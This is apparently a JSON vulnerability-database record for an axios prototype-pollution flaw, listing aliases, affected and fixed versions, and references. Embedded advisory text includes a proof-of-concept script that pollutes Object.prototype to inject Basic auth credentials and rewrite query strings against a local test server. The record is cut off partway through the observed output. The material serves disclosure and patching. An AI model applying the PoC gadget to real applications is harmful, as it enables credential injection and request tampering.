{"id":"CVE-2026-67316","aliases":["CLSA-2026-1784856426","CLSA-2026-1784943218","CLSA-2026-1784943302","CLSA-2026-1784943417","CLSA-2026-1785117469","CLSA-2026-1785468080","CLSA-2026-1787930147","CLSA-2026-1787930357","CLSA-2026-1788195644","CLSA-2026-1790115018","CLSA-2026-1790764333","CLSA-2026-1790767846","CLSA-2026-1792139363","CLSA-2026-1792476444","CLSA-2026-1793101806","CLSA-2026-1793101832","CLSA-2026-1793101849","CLSA-2026-1793110604","CLSA-2026-1793874599","DEBIAN-CVE-2026-67316","EUVD-2026-51827","GHSA-7q8q-rj6j-mhjq","GHSA-f2r5-pqh9-r8f8","GHSA-mmx7-hfxf-jppx","RHSA-2026:49714","RHSA-2026:50826","ROOT-APP-NPM-CVE-2026-67316","ROOT-APP-NPM-GHSA-mmx7-hfxf-jppx","UBUNTU-CVE-2026-67316"],"status":"published","title":"axios before 1.18.0 Prototype Pollution via bodyless methods","description":"axios is vulnerable to read-side prototype-pollution gadgets that can alter request construction when Object.prototype has already been polluted by a separate vulnerability or dependency. In the bodyless method aliases (axios.get(), axios.delete(), axios.head(), axios.options()), inherited data is read via (config || {}).data before config normalization, causing an attacker-controlled body to be sent on requests that did not set one. Additional low-level paths, only reachable when calling exported adapters/helpers (e.g. lib/adapters/http.js, unsafe/helpers/resolveConfig.js) directly with plain configs and no own proxy or paramsSerializer, can inherit polluted proxy values (routing requests through an attacker-controlled proxy) or paramsSerializer values (attacker-controlled URL serialization). These low-level gadgets do not reproduce through normal high-level axios calls on 1.15.2+. The issue is fixed in axios 1.18.0 and 0.33.0.","severity":{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00424,"percentile":0.37154,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-1321"],"published":"2026-07-20T22:25:07Z","modified":"2026-11-06T13:28:02Z","fixes":[{"ecosystem":"npm","package":"axios","fixed_in":["0.33.0","1.18.0"],"sources":["ghsa","osv"]},{"ecosystem":"TuxCare:npm","package":"axios","fixed_in":["1.7.9-tuxcare.2","1.7.7-tuxcare.5","1.7.5-tuxcare.4","1.6.8-tuxcare.3","1.6.2-tuxcare.3"],"sources":["osv"]},{"ecosystem":"Debian:14","package":"node-axios","fixed_in":["1.18.0-1"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"axios","fixed_in":["1.18.0-aikido.1","1.16.0-aikido.3","1.17.0-aikido.3","1.15.2-aikido.5","1.16.1-aikido.4","1.13.4-aikido.8","1.15.0-aikido.13","1.17.0-aikido.2","1.12.0-aikido.12","1.13.6-aikido.6","1.8.4-aikido.11","1.13.5-aikido.14","1.15.2-aikido.4","1.16.0-aikido.2","1.16.1-aikido.3","1.8.3-aikido.9","1.14.0-aikido.11","0.31.1-aikido.3","1.2.1-aikido.5","1.16.1-aikido.5","1.15.0-aikido.14","1.8.4-aikido.12","1.6.5-aikido.3","1.7.4-aikido.5","1.7.9-aikido.13"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"@rootio/axios","fixed_in":["1.18.0-root.io.1","1.16.0-root.io.3","1.17.0-root.io.3","1.15.2-root.io.5","1.16.1-root.io.4","1.13.4-root.io.8","1.15.0-root.io.13","1.17.0-root.io.2","1.12.0-root.io.12","1.13.6-root.io.6","1.8.4-root.io.11","1.13.5-root.io.14","1.15.2-root.io.4","1.16.0-root.io.2","1.16.1-root.io.3","1.8.3-root.io.9","1.14.0-root.io.11","0.31.1-root.io.3","1.2.1-root.io.5","1.16.1-root.io.5","1.15.0-root.io.14","1.8.4-root.io.12","1.6.5-root.io.3","1.7.4-root.io.5","1.7.9-root.io.13"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.8.0"},{"fixed":"0.33.0"}]}]},{"source":"ghsa","ecosystem":"npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.0.0"},{"fixed":"1.18.0"}]}]},{"source":"ghsa","ecosystem":"npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.0.0"},{"fixed":"1.18.0"}]}]},{"source":"ghsa","ecosystem":"npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.33.0"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.7.9-tuxcare.0"},{"fixed":"1.7.9-tuxcare.2"}]}],"versions":["1.7.9","1.7.9-tuxcare.1"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.7.7-tuxcare.0"},{"fixed":"1.7.7-tuxcare.5"}]}],"versions":["1.7.7","1.7.7-tuxcare.1","1.7.7-tuxcare.2","1.7.7-tuxcare.3","1.7.7-tuxcare.4"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.7.5-tuxcare.0"},{"fixed":"1.7.5-tuxcare.4"}]}],"versions":["1.7.5","1.7.5-tuxcare.1","1.7.5-tuxcare.2","1.7.5-tuxcare.3"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.6.8-tuxcare.0"},{"fixed":"1.6.8-tuxcare.3"}]}],"versions":["1.6.8","1.6.8-tuxcare.1","1.6.8-tuxcare.2"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.6.2-tuxcare.0"},{"fixed":"1.6.2-tuxcare.3"}]}],"versions":["1.6.2","1.6.2-tuxcare.1","1.6.2-tuxcare.2"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.26.0-tuxcare.0"},{"fixed":"0.26.0-tuxcare.4"}]}],"versions":["0.26.0","0.26.0-tuxcare.1","0.26.0-tuxcare.2","0.26.0-tuxcare.3"],"bundled":14},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.6.2-tuxcare.0"},{"fixed":"1.6.2-tuxcare.5"}]}],"versions":["1.6.2","1.6.2-tuxcare.1","1.6.2-tuxcare.2","1.6.2-tuxcare.3","1.6.2-tuxcare.4"],"bundled":6},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.27.2-tuxcare.0"},{"fixed":"0.27.2-tuxcare.5"}]}],"versions":["0.27.2","0.27.2-tuxcare.1","0.27.2-tuxcare.2","0.27.2-tuxcare.3","0.27.2-tuxcare.4"],"bundled":13},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.7.9-tuxcare.0"},{"fixed":"1.7.9-tuxcare.4"}]}],"versions":["1.7.9","1.7.9-tuxcare.1","1.7.9-tuxcare.2","1.7.9-tuxcare.3"],"bundled":5},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.26.1-tuxcare.0"},{"fixed":"0.26.1-tuxcare.5"}]}],"versions":["0.26.1","0.26.1-tuxcare.1","0.26.1-tuxcare.2","0.26.1-tuxcare.3","0.26.1-tuxcare.4"],"bundled":4},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.13.5-tuxcare.0"},{"fixed":"1.13.5-tuxcare.1"}]}],"versions":["1.13.5"],"bundled":28},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.16.0-tuxcare.0"},{"fixed":"1.16.0-tuxcare.1"}]}],"versions":["1.16.0"],"bundled":10},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.17.0-tuxcare.0"},{"fixed":"1.17.0-tuxcare.2"}]}],"versions":["1.17.0","1.17.0-tuxcare.1"],"bundled":9},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.16.1-tuxcare.0"},{"fixed":"1.16.1-tuxcare.2"}]}],"versions":["1.16.1","1.16.1-tuxcare.1"],"bundled":10},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.18.0-tuxcare.0"},{"fixed":"0.18.0-tuxcare.2"}]}],"versions":["0.18.0","0.18.0-tuxcare.1"],"bundled":6},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.21.2-tuxcare.0"},{"fixed":"0.21.2-tuxcare.2"}]}],"versions":["0.21.2","0.21.2-tuxcare.1"],"bundled":11},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.13.2-tuxcare.0"},{"fixed":"1.13.2-tuxcare.2"}]}],"versions":["1.13.2","1.13.2-tuxcare.1"],"bundled":32},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.12.2-tuxcare.0"},{"fixed":"1.12.2-tuxcare.1"}]}],"versions":["1.12.2"],"bundled":32},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.13.6-tuxcare.0"},{"fixed":"1.13.6-tuxcare.3"}]}],"versions":["1.13.6","1.13.6-tuxcare.1","1.13.6-tuxcare.2"],"bundled":27},{"source":"osv","ecosystem":"Debian:12","package":"node-axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.11.0+dfsg-1","1.12.1+dfsg-1","1.13.1+dfsg-1","1.13.2+dfsg-1","1.14.0+dfsg-1","1.15.0-1","1.15.2-1","1.16.0-1","1.18.0-1","1.19.0-1","1.2.1+dfsg-1","1.2.1+dfsg-1+deb12u1","1.20.0-1","1.5.1+dfsg-1","1.6.2+dfsg-1","1.6.8+dfsg-1","1.6.8+dfsg-2","1.7.3+dfsg-1","1.7.4+dfsg-1","1.7.7+dfsg-1","1.7.9+dfsg-1","1.8.4+dfsg-1"]},{"source":"osv","ecosystem":"Debian:13","package":"node-axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.11.0+dfsg-1","1.12.1+dfsg-1","1.13.1+dfsg-1","1.13.2+dfsg-1","1.14.0+dfsg-1","1.15.0-1","1.15.2-1","1.16.0-1","1.18.0-1","1.19.0-1","1.20.0-1","1.8.4+dfsg-1"]},{"source":"osv","ecosystem":"Debian:14","package":"node-axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.18.0-1"}]}],"versions":["1.11.0+dfsg-1","1.12.1+dfsg-1","1.13.1+dfsg-1","1.13.2+dfsg-1","1.14.0+dfsg-1","1.15.0-1","1.15.2-1","1.16.0-1","1.8.4+dfsg-1"]},{"source":"osv","ecosystem":"npm","package":"axios","ranges":[{"type":"SEMVER","events":[{"introduced":"0.8.0"},{"fixed":"0.33.0"}]}]},{"source":"osv","ecosystem":"npm","package":"axios","ranges":[{"type":"SEMVER","events":[{"introduced":"1.0.0"},{"fixed":"1.18.0"}]}]},{"source":"osv","ecosystem":"npm","package":"axios","ranges":[{"type":"SEMVER","events":[{"introduced":"1.0.0"},{"fixed":"1.18.0"}]}]},{"source":"osv","ecosystem":"npm","package":"axios","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.33.0"}]}]},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"grafana13.1","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:13.1.1-0.5.hum1"}]}],"bundled":6},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"grafana13.1","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:13.1.1-0.5.2.hum1"}]}],"bundled":10},{"source":"osv","ecosystem":"Root:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.18.0-aikido.1"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.18.0-root.io.1"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.16.0-aikido.3"},{"fixed":"1.17.0-aikido.3"},{"fixed":"1.15.2-aikido.5"},{"fixed":"1.16.1-aikido.4"},{"fixed":"1.13.4-aikido.8"},{"fixed":"1.15.0-aikido.13"},{"fixed":"1.17.0-aikido.2"},{"fixed":"1.12.0-aikido.12"},{"fixed":"1.13.6-aikido.6"},{"fixed":"1.8.4-aikido.11"},{"fixed":"1.13.5-aikido.14"},{"fixed":"1.15.2-aikido.4"},{"fixed":"1.16.0-aikido.2"},{"fixed":"1.16.1-aikido.3"},{"fixed":"1.8.3-aikido.9"},{"fixed":"1.14.0-aikido.11"},{"fixed":"0.31.1-aikido.3"},{"fixed":"1.2.1-aikido.5"},{"fixed":"1.16.1-aikido.5"},{"fixed":"1.15.0-aikido.14"},{"fixed":"1.8.4-aikido.12"},{"fixed":"1.6.5-aikido.3"},{"fixed":"1.7.4-aikido.5"},{"fixed":"1.7.9-aikido.13"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.16.0-root.io.3"},{"fixed":"1.17.0-root.io.3"},{"fixed":"1.15.2-root.io.5"},{"fixed":"1.16.1-root.io.4"},{"fixed":"1.13.4-root.io.8"},{"fixed":"1.15.0-root.io.13"},{"fixed":"1.17.0-root.io.2"},{"fixed":"1.12.0-root.io.12"},{"fixed":"1.13.6-root.io.6"},{"fixed":"1.8.4-root.io.11"},{"fixed":"1.13.5-root.io.14"},{"fixed":"1.15.2-root.io.4"},{"fixed":"1.16.0-root.io.2"},{"fixed":"1.16.1-root.io.3"},{"fixed":"1.8.3-root.io.9"},{"fixed":"1.14.0-root.io.11"},{"fixed":"0.31.1-root.io.3"},{"fixed":"1.2.1-root.io.5"},{"fixed":"1.16.1-root.io.5"},{"fixed":"1.15.0-root.io.14"},{"fixed":"1.8.4-root.io.12"},{"fixed":"1.6.5-root.io.3"},{"fixed":"1.7.4-root.io.5"},{"fixed":"1.7.9-root.io.13"}]}]},{"source":"osv","ecosystem":"Ubuntu:Pro:20.04:LTS","package":"node-axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.19.0+dfsg-2","0.19.0+dfsg-2ubuntu0.1~esm1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:22.04:LTS","package":"node-axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.21.1+dfsg-1","0.23.0+dfsg-2","0.24.0+dfsg-1","0.25.0+dfsg-2","0.26.0+dfsg-1","0.26.0+dfsg-1ubuntu0.1~esm1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:24.04:LTS","package":"node-axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.2.1+dfsg-1","1.5.1+dfsg-1","1.6.2+dfsg-1","1.6.8+dfsg-2","1.6.8+dfsg-2ubuntu0.1~esm1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:26.04:LTS","package":"node-axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.11.0+dfsg-1","1.12.1+dfsg-1","1.13.2+dfsg-1build1","1.13.2+dfsg-1ubuntu0.1~esm1"]}],"products":[{"vendor":"axios","product":"axios"}],"references":[{"url":"https://github.com/axios/axios/security/advisories/GHSA-mmx7-hfxf-jppx","tags":["vendor-advisory","exploit","Exploit","Mitigation","Vendor Advisory","advisory","web","article","report"]},{"url":"https://www.vulncheck.com/advisories/axios-before-prototype-pollution-via-bodyless-methods","tags":["third-party-advisory","Third Party Advisory","advisory","web","article","report"]},{"url":"https://github.com/axios/axios/security/advisories/GHSA-7q8q-rj6j-mhjq","tags":["web"]},{"url":"https://github.com/axios/axios/pull/11000","tags":["web"]},{"url":"https://github.com/axios/axios/pull/11001","tags":["web"]},{"url":"https://github.com/axios/axios/commit/1417285c69344bbcc6420a021f67dee0c6fedb2d","tags":["web"]},{"url":"https://github.com/axios/axios/commit/32fc489632377d214db55bfa4e2c48486a7d7ce2","tags":["web"]},{"url":"https://github.com/axios/axios/releases/tag/v0.33.0","tags":["web"]},{"url":"https://github.com/axios/axios/releases/tag/v1.18.0","tags":["web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-67319","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69123","tags":["advisory"]},{"url":"https://www.vulncheck.com/advisories/axios-before-prototype-pollution-via-nested-option-objects","tags":["web"]},{"url":"https://github.com/advisories/GHSA-7q8q-rj6j-mhjq"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-67316","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-f2r5-pqh9-r8f8"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-68944","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-mmx7-hfxf-jppx"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/67xxx/CVE-2026-67316.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-67316","tags":["advisory"]},{"url":"https://github.com/axios/axios","tags":["package"]},{"url":"https://access.redhat.com/errata/RHSA-2026:49714","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-67313","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-67314","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-67315","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-67316","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-67317","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-67318","tags":["report"]},{"url":"https://access.redhat.com/security/updates/classification/","tags":["article"]},{"url":"https://images.redhat.com/","tags":["article"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_49714.json","tags":["advisory"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-67313","tags":["advisory"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2510030","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-67314","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-67314","tags":["advisory"]},{"url":"https://github.com/axios/axios/security/advisories/GHSA-xj6q-8x83-jv6g","tags":["article"]},{"url":"https://www.vulncheck.com/advisories/axios-before-prototype-pollution-via-auth-subfields","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2510019","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-67315","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-67315","tags":["advisory"]},{"url":"https://github.com/axios/axios/security/advisories/GHSA-f4gw-2p7v-4548","tags":["article"]},{"url":"https://www.vulncheck.com/advisories/axios-before-no-proxy-bypass-via","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2510009","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-67316","tags":["advisory","report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2510031","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-67317","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-67317","tags":["advisory"]},{"url":"https://github.com/axios/axios/security/advisories/GHSA-jqh4-m9w3-8hp9","tags":["article"]},{"url":"https://www.vulncheck.com/advisories/axios-before-maxbodylength-bypass-via-readablestream","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2509989","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-67318","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-67318","tags":["advisory"]},{"url":"https://github.com/axios/axios/security/advisories/GHSA-mwf2-3pr3-8698","tags":["article"]},{"url":"https://www.vulncheck.com/advisories/axios-before-maxbodylength-bypass-via-http-2","tags":["article"]},{"url":"https://access.redhat.com/errata/RHSA-2026:50826","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-69152","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-69153","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-69192","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-69198","tags":["report"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_50826.json","tags":["advisory"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2510722","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-69152","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69152","tags":["advisory"]},{"url":"https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d","tags":["article"]},{"url":"https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac","tags":["article"]},{"url":"https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf","tags":["article"]},{"url":"https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031","tags":["article"]},{"url":"https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2510719","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-69153","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69153","tags":["advisory"]},{"url":"https://github.com/postcss/postcss/commit/7beca139e70f9075c6b19700fcb00dd8033e5da8","tags":["article"]},{"url":"https://github.com/postcss/postcss/releases/tag/8.5.19","tags":["article"]},{"url":"https://github.com/postcss/postcss/security/advisories/GHSA-fxqj-rqcc-2cmp","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2510801","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-69192","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69192","tags":["advisory"]},{"url":"https://github.com/beaugunderson/ip-address/commit/56368cb3d66c73ba0ee9b6b834fd31b22c2fd71e","tags":["article"]},{"url":"https://github.com/beaugunderson/ip-address/releases/tag/v10.3.1","tags":["article"]},{"url":"https://github.com/beaugunderson/ip-address/security/advisories/GHSA-mwp4-54f8-5fhr","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2510803","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-69198","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69198","tags":["advisory"]},{"url":"https://github.com/beaugunderson/ip-address/commit/488fe9bc7c35363b4b090494fc38c266d217740d","tags":["article"]},{"url":"https://github.com/beaugunderson/ip-address/releases/tag/v10.2.2","tags":["article"]},{"url":"https://github.com/beaugunderson/ip-address/security/advisories/GHSA-4xrf-jv44-h6hh","tags":["article"]},{"url":"https://ubuntu.com/security/CVE-2026-67316","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2026-67316","title":"axios before 1.18.0 Prototype Pollution via bodyless methods","description":"axios is vulnerable to read-side prototype-pollution gadgets that can alter request construction when Object.prototype has already been polluted by a separate vulnerability or dependency. In the bodyless method aliases (axios.get(), axios.delete(), axios.head(), axios.options()), inherited data is read via (config || {}).data before config normalization, causing an attacker-controlled body to be sent on requests that did not set one. Additional low-level paths, only reachable when calling exported adapters/helpers (e.g. lib/adapters/http.js, unsafe/helpers/resolveConfig.js) directly with plain configs and no own proxy or paramsSerializer, can inherit polluted proxy values (routing requests through an attacker-controlled proxy) or paramsSerializer values (attacker-controlled URL serialization). These low-level gadgets do not reproduce through normal high-level axios calls on 1.15.2+. The issue is fixed in axios 1.18.0 and 0.33.0.","status":"published","published":"2026-08-01T12:22:18.114Z","modified":"2026-08-03T15:17:16.313Z","cvss":[{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N","level":"medium","assessor":"cna"}],"cwes":["CWE-1321"],"updated_at":"2026-11-02T14:20:06.562031Z"}],"euvd":[{"id":"EUVD-2026-51827","description":"axios is vulnerable to read-side prototype-pollution gadgets that can alter request construction when Object.prototype has already been polluted by a separate vulnerability or dependency. In the bodyless method aliases (axios.get(), axios.delete(), axios.head(), axios.options()), inherited data is read via (config || {}).data before config normalization, causing an attacker-controlled body to be sent on requests that did not set one. Additional low-level paths, only reachable when calling exported adapters/helpers (e.g. lib/adapters/http.js, unsafe/helpers/resolveConfig.js) directly with plain configs and no own proxy or paramsSerializer, can inherit polluted proxy values (routing requests through an attacker-controlled proxy) or paramsSerializer values (attacker-controlled URL serialization). These low-level gadgets do not reproduce through normal high-level axios calls on 1.15.2+. The issue is fixed in axios 1.18.0 and 0.33.0.","status":"published","published":"2026-08-01T12:22:18Z","modified":"2026-08-03T15:17:16Z","cvss":[{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N","level":"medium"}],"updated_at":"2026-11-02T18:02:24.366648Z"}],"ghsa":[{"id":"GHSA-7q8q-rj6j-mhjq","title":"Axios: Nested axios option objects can consume polluted prototype values","description":"## Summary\n\nAxios can consume inherited properties from nested request option objects when the JavaScript process already has a polluted `Object.prototype`.\n\nThe top-level merged config is protected with a null prototype, but nested plain objects such as `auth` and `paramsSerializer` are cloned into ordinary objects. If application code passes placeholders such as `auth: {}` or `paramsSerializer: {}`, inherited `username`, `password`, `encode`, or `serialize` properties can influence outbound requests.\n\n## Impact\n\nThis is reachable only when another component has already polluted `Object.prototype` and the application passes an affected nested axios option object.\n\nConfirmed impacts include silent injection of an `Authorization: Basic ...` header from inherited `username` and `password` values, and query-string tampering when inherited `paramsSerializer` fields are function-valued.\n\nThe `auth` case requires only string-valued pollution. Full query-string replacement through `paramsSerializer.serialize` requires a function-valued pollution primitive; string-only pollution may still cause request failures or encoding changes through `encode`.\n\nThis does not mean every axios request is affected. Requests that do not pass `auth`, do not pass `paramsSerializer`, or provide explicit own properties for the relevant nested fields are not affected by this specific gadget.\n\n## Affected Functionality\n\nAffected runtime functionality:\n\n- Node HTTP adapter Basic auth handling in `lib/adapters/http.js`.\n- Browser/fetch/XHR Basic auth handling through `lib/helpers/resolveConfig.js`.\n- Query serialization through `lib/helpers/buildURL.js`.\n- `axios.getUri()` when called with an affected `paramsSerializer` object.\n\nAffected config shapes:\n\n- `auth: {}` or an `auth` object missing own `username` and/or `password`.\n- `paramsSerializer: {}` or a `paramsSerializer` object missing own `encode` and/or `serialize`.\n\nUnaffected by this specific issue:\n\n- Requests with no `auth` property.\n- Requests with no `paramsSerializer` property.\n- Top-level polluted `auth` or `paramsSerializer` values in current hardened versions.\n\n## Technical Details\n\n`lib/core/mergeConfig.js` creates the top-level merged config with `Object.create(null)`, but nested object cloning still uses ordinary `{}` containers:\n\n```js\n} else if (utils.isPlainObject(source)) {\n  return utils.merge({}, source);\n}\n```\n\nDownstream code then reads nested fields without own-property checks.\n\nIn `lib/helpers/resolveConfig.js`:\n\n```js\nbtoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))\n```\n\nIn `lib/adapters/http.js`:\n\n```js\nconst username = configAuth.username || '';\nconst password = configAuth.password || '';\nauth = username + ':' + password;\n```\n\nIn `lib/helpers/buildURL.js`:\n\n```js\nconst _encode = (options \u0026\u0026 options.encode) || encode;\nconst serializeFn = _options \u0026\u0026 _options.serialize;\n```\n\n## Proof of Concept of Attack\n\n```js\nimport http from 'node:http';\nimport axios from './index.js';\n\nconst user = 'attacker';\nconst pass = 'exfil';\n\nObject.defineProperty(Object.prototype, 'username', {\n  value: user,\n  configurable: true\n});\n\nObject.defineProperty(Object.prototype, 'password', {\n  value: pass,\n  configurable: true\n});\n\nObject.defineProperty(Object.prototype, 'serialize', {\n  value: () =\u003e 'polluted=1',\n  configurable: true\n});\n\nconst server = http.createServer((req, res) =\u003e {\n  res.writeHead(200, { 'content-type': 'application/json' });\n  res.end(JSON.stringify({\n    authorization: req.headers.authorization || null,\n    url: req.url\n  }));\n});\n\nawait new Promise((resolve) =\u003e server.listen(0, '127.0.0.1', resolve));\n\ntry {\n  const port = server.address().port;\n  const response = await axios.get(`http://127.0.0.1:${port}/demo`, {\n    auth: {},\n    paramsSerializer: {},\n    params: { unused: 'ignored' }\n  });\n\n  console.log(response.data);\n} finally {\n  await new Promise((resolve) =\u003e server.close(resolve));\n  delete Object.prototype.username;\n  delete Object.prototype.password;\n  delete Object.prototype.serialize;\n}\n```\n\nObserved result:\n\n```json\n{\n  \"authorization\": \"Basic 